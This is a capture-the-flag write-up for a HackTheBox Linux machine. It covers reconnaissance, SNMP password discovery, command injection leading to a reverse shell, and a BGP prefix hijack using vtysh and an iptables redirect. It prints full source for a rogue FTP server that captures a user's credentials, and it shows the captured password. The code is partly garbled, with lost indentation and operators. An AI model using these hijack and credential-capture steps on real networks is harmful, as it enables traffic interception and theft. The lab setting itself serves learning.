- HackTheBox Dificulty Rating 51%
OS:
Linux
Points:
30
Release date:
22 Sep 2018
This was just an amazing box and probably my favorite one so far. For the user
After we connect to the box we see that we are directly root but there is no root flag to be found. This is the fun part that I absolutely loved about this box. To get the root flag, we need to perform a BGP Prefix Hijack and reroute a user to our own rogue FTP server in order to steal his credentials and log with them to the real FTP server where the root flag is located.
Let’s jump right in.
User
As always I start with a
Starting Nmap 7.70 ( https://nmap.org ) at 2018-09-25 00:50 EEST
Nmap scan report for 10.10.10.105
Host is up (0.040s latency).
PORT STATE SERVICE VERSION
21/tcp filtered ftp
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 15:a4:28:77:ee:13:07:06:34:09:86:fd:6f:cc:4c:e2 (RSA)
| 256 37:be:de:07:0f:10:bb:2b:b5:85:f7:9d:92:5e:83:25 (ECDSA)
|_ 256 89:5a:ee:1c:22:02:d2:13:40:f2:45:2e:70:45:b0:c4 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Login
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
161/udp snmp
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.4.X|2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.4.20 cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.4.20, Linux 2.6.14 – 2.6.34, Linux 2.6.17 (Mandriva), Linux 2.6.23, Linux 2.6.24
Network Distance: 2 hops
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap
Port 80 has a login page with some error codes and after no luck with some default credentials, we set gobuster to action and see what else we can find hiding on the web server.
2018/09/25 00:57:28 Starting gobuster
=====================================================
/doc (Status: 301)
/img (Status: 301)
/tools (Status: 301)
/index.php (Status: 200)
/css (Status: 301)
/js (Status: 301)
/tickets.php (Status: 302)
/fonts (Status: 301)
/dashboard.php (Status: 302)
/debug (Status: 301)
We have a few interesting results and we immediately see a /doc folder that has a directory listing with a few files that look interesting.
Let’s check the first one which is a diagram resembling something out of a networking text book. These are various ISP routers connected to each other. The “AS” stands for Autonomous System, but we will get back to that later.
The next file is error_codes.pdf and it looks interesting because we saw 45007 and 45009 as error codes on the login page.
Ok, so we now know that default user credentials are used and the password is the chassis serial number. Let’s now look at the other port we saw, the UDP 161.
To do this, we use
snmpwalk -c public -v1 10.10.10.105 1
And immediately we see something starting with SN#… Serial Number maybe?
We try that as our password for the user admin and we get in!
It seems to be some kind of ticketing app by the looks of it. One ticket
On the menu
We can verify this is happening by changing the value of the check parameter to the base64 equivalent of “root” and see if the application returns the results with “root” as the grep argument.
Ok, so we know that the system behind the application greps the processes using a parameter provided by the user. Let’s see if we can chain multiple commands after the grep parameter.
And sure enough, we get command execution:
We can get a reverse shell by chaining and base64 encoding the command. I used the python reverse shell as I wanted to make sure nothing went wrong
So to translate the above image, I first put the root parameter so that the grep command
From here we can go ahead and cat the user.txt file found in the root directory and the first part is done.
Root
Quagga is a network routing software suite providing implementations of Open Shortest Path First, Routing Information Protocol, Border Gateway Protocol
Now, I have highlighted Border Gateway Protocol because there is something called GBP hijacking and if we go to https://en.wikipedia.org/wiki/BGP_hijacking we see this:
BGP hijacking (sometimes referred to as prefix hijacking, route hijacking or IP hijacking) is the illegitimate takeover of groups of IP addresses by corrupting Internet routing tables maintained using the Border Gateway Protocol (BGP)
To understand that, we need to understand how the internet works, specifically how it’s all tied together at the large infrastructure scale.
Remember the Autonomous Systems we talked about earlier that we found in the diagram?
Well an AS (Autonomous System) is a large network or group of networks managed by a single organization. An AS may have many
Now, imagine what would happen if an ISP with malicious intentions, or one that is compromised, would tell their border routers to yell out loud to every other connected router that they own a set of IP prefixes from say Amazon, or Google, or whatever.
Ok, so now the pieces of the puzzle are coming together. We know that we need to redirect the VIP mentioned in the ticket to our own rouge FTP server using BGP hijacking in order to obtain his username and password and then use those credentials to log into the real FTP server and hopefully get the root.txt file from there. To do this we will use
Vtysh is an integrated shell for Quagga routing software. With
We can get a list of commands by typing the “?” command. We can also check commands here.
Before we can re-configure our router we first need to know the exact address of our FTP server, and we can simply get that by uploading
So now we have our target, we can proceed to
For those of you familiar with Cisco IOS, this should feel right at home.
config terminal
Then we need to enter the
router bgp 100
And then advertise the route to the FTP server using:
network 10.120.15.8/30
The protocol prefers the most accurate subnet so if our target address is 10.120.15.10, we can use something like 10.120.15.8/30 which narrows down the subnet to only 4 IP’s (10.120.15.8 to 10.120.15.11) telling the other AS’s that we are the best choice to get to the target address. We can use 10.120.15.10/31 (giving only 2 IP’s) or 10.120.15.10/32 (giving only the target IP address) but I chose a larger subnet to show that even if we didn’t know the exact target IP (or if we wanted to hijack the traffic to a broader subnet) that it would still be possible.
If we are lazy we could do all this in one single command using the -c argument like this:
vtysh -c “config terminal” -c “router bgp 100” -c “network 10.120.15.8/30” -E
At this point we are telling the other AS’s that we are the shortest path to the FTP server so all traffic comes to us. Now we need to actually pose as the FTP server. To do this, I opted in downloading a rogue python3 FTP server on the host machine. The rogue server source code can is the following:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os,socket,threading,time
allow_delete = False
local_ip = '0.0.0.0'
local_port = 21
currdir=os.path.abspath('.')
class FTPserverThread(threading.Thread):
def __init__(self, conn, addr):
self.conn=conn
self.addr=addr
self.basewd=currdir
self.cwd=self.basewd
self.rest=False
self.pasv_mode=False
threading.Thread.__init__(self)
def run(self):
self.conn.send(b'220 Welcome!
')
while True:
cmd=self.conn.recv(256)
if not cmd: break
else:
print('Received:', cmd.decode('utf-8'))
try:
func = getattr(self, cmd[:4].decode('utf-8').strip().upper())
func(cmd)
except Exception as e:
print ('ERROR:',e)
#traceback.print_exc()
self.conn.send(b'500 Sorry.
')
def SYST(self,cmd):
self.conn.send(b'215 UNIX Type: L8
')
def OPTS(self,cmd):
if cmd[5:-2].upper()=='UTF8 ON':
self.conn.send(b'200 OK.
')
else:
self.conn.send(b'451 Sorry.
')
def USER(self,cmd):
self.conn.send(b'331 OK.
')
def PASS(self,cmd):
#self.conn.send(b'230 OK.
')
self.conn.send(b'530 Incorrect.
')
def QUIT(self,cmd):
self.conn.send(b'221 Goodbye.
')
def NOOP(self,cmd):
self.conn.send(b'200 OK.
')
def TYPE(self,cmd):
self.mode=cmd[5]
self.conn.send(b'200 Binary mode.
')
def CDUP(self,cmd):
if not os.path.samefile(self.cwd,self.basewd):
#learn from stackoverflow
self.cwd=os.path.abspath(os.path.join(self.cwd,'..'))
self.conn.send(b'200 OK.
')
def PWD(self,cmd):
cwd=os.path.relpath(self.cwd,self.basewd)
if cwd=='.':
cwd='/'
else:
cwd='/' cwd
self.conn.send(b'257 "%s"
' % cwd)
def CWD(self,cmd):
chwd=cmd[4:-2]
if chwd=='/':
self.cwd=self.basewd
elif chwd[0]=='/':
self.cwd=os.path.join(self.basewd,chwd[1:])
else:
self.cwd=os.path.join(self.cwd,chwd)
self.conn.send(b'250 OK.
')
def PORT(self,cmd):
if self.pasv_mode:
self.servsock.close()
self.pasv_mode = False
l=cmd[5:].split(',')
self.dataAddr='.'.join(l[:4])
self.dataPort=(int(l[4])<<8) int(l[5])
self.conn.send(b'200 Get port.
')
def PASV(self,cmd): # from http://goo.gl/3if2U
self.pasv_mode = True
self.servsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.servsock.bind((local_ip, 0))
self.servsock.listen(1)
ip, port = self.servsock.getsockname()
print('open', ip, port)
response = '227 Entering Passive Mode ({},{},{}).
'.format(','.join(ip.split('.')),
str((port >> 8) & 0xFF), str(port & 0xFF))
self.conn.send(response.encode('utf-8'))
def start_datasock(self):
if self.pasv_mode:
self.datasock, addr = self.servsock.accept()
print ('connect:', addr)
else:
self.datasock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
self.datasock.connect((self.dataAddr,self.dataPort))
def stop_datasock(self):
self.datasock.close()
if self.pasv_mode:
self.servsock.close()
def LIST(self,cmd):
self.conn.send(b'150 Here comes the directory listing.
')
self.start_datasock()
for t in os.listdir(self.cwd):
k=self.toListItem(os.path.join(self.cwd,t))
self.datasock.send(buff buff buff '
')
print ("[ ] Crafted packet sent . . . [ ]")
#self.datasock.send(buff buff '
')
self.stop_datasock()
self.conn.send(b'226 Directory send OK.
')
def toListItem(self,fn):
st=os.stat(fn)
fullmode='rwxrwxrwx'
mode=''
for i in range(9):
mode =((st.st_mode>>(8-i))&1) and fullmode[i] or '-'
d=(os.path.isdir(fn)) and 'd' or '-'
ftime=time.strftime(' %b %d %H:%M ', time.gmtime(st.st_mtime))
return d mode ' 1 user group ' str(st.st_size) ftime os.path.basename(fn)
def MKD(self,cmd):
dn=os.path.join(self.cwd,cmd[4:-2])
os.mkdir(dn)
self.conn.send(b'257 Directory created.
')
def RMD(self,cmd):
dn=os.path.join(self.cwd,cmd[4:-2])
if allow_delete:
os.rmdir(dn)
self.conn.send(b'250 Directory deleted.
')
else:
self.conn.send(b'450 Not allowed.
')
def DELE(self,cmd):
fn=os.path.join(self.cwd,cmd[5:-2])
if allow_delete:
os.remove(fn)
self.conn.send(b'250 File deleted.
')
else:
self.conn.send(b'450 Not allowed.
')
def RNFR(self,cmd):
self.rnfn=os.path.join(self.cwd,cmd[5:-2])
self.conn.send(b'350 Ready.
')
def RNTO(self,cmd):
fn=os.path.join(self.cwd,cmd[5:-2])
os.rename(self.rnfn,fn)
self.conn.send(b'250 File renamed.
')
def REST(self,cmd):
self.pos=int(cmd[5:-2])
self.rest=True
self.conn.send(b'250 File position reseted.
')
def RETR(self,cmd):
fn=os.path.join(self.cwd,cmd[5:-2])
#fn=os.path.join(self.cwd,cmd[5:-2]).lstrip('/')
print ('Downlowding:',fn)
if self.mode=='I':
fi=open(fn,'rb')
else:
fi=open(fn,'r')
self.conn.send(b'150 Opening data connection.
')
if self.rest:
fi.seek(self.pos)
self.rest=False
data= fi.read(1024)
self.start_datasock()
while data:
self.datasock.send(data)
data=fi.read(1024)
fi.close()
self.stop_datasock()
self.conn.send(b'226 Transfer complete.
')
def STOR(self,cmd):
fn=os.path.join(self.cwd,cmd[5:-2])
print ('Uplaoding:',fn)
if self.mode=='I':
fo=open(fn,'wb')
else:
fo=open(fn,'w')
self.conn.send(b'150 Opening data connection.
')
self.start_datasock()
while True:
data=self.datasock.recv(1024)
if not data: break
fo.write(data)
fo.close()
self.stop_datasock()
self.conn.send(b'226 Transfer complete.
')
class FTPserver(threading.Thread):
def __init__(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.bind((local_ip,local_port))
threading.Thread.__init__(self)
def run(self):
self.sock.listen(5)
while True:
c, a = self.sock.accept()
th=FTPserverThread(c, a)
th.daemon=True
th.start()
def stop(self):
self.sock.close()
if __name__=='__main__':
ftp=FTPserver()
ftp.daemon=True
ftp.start()
print ('On', local_ip, ':', local_port)
input('Enter to end...
')
ftp.stop()
And then redirecting all traffic to our rogue server rather than the real server using
iptables -t nat -A PREROUTING -d 10.120.15.10 -j NETMAP –to 10.78.11.1
The above command redirects all traffic going to 10.120.15.10 to our own IP address where the rogue FTP server is hosted. I chose to host the server on our compromised machine but we could easily host this on our own machine and tell
We fire up the server and wait for the VIP to connect and sure
root
BGPtelc0rout1ng
After this, it’s just a matter of logging in to the real FTP server with the acquired credentials and reading the root.txt flag.
Final thoughts
I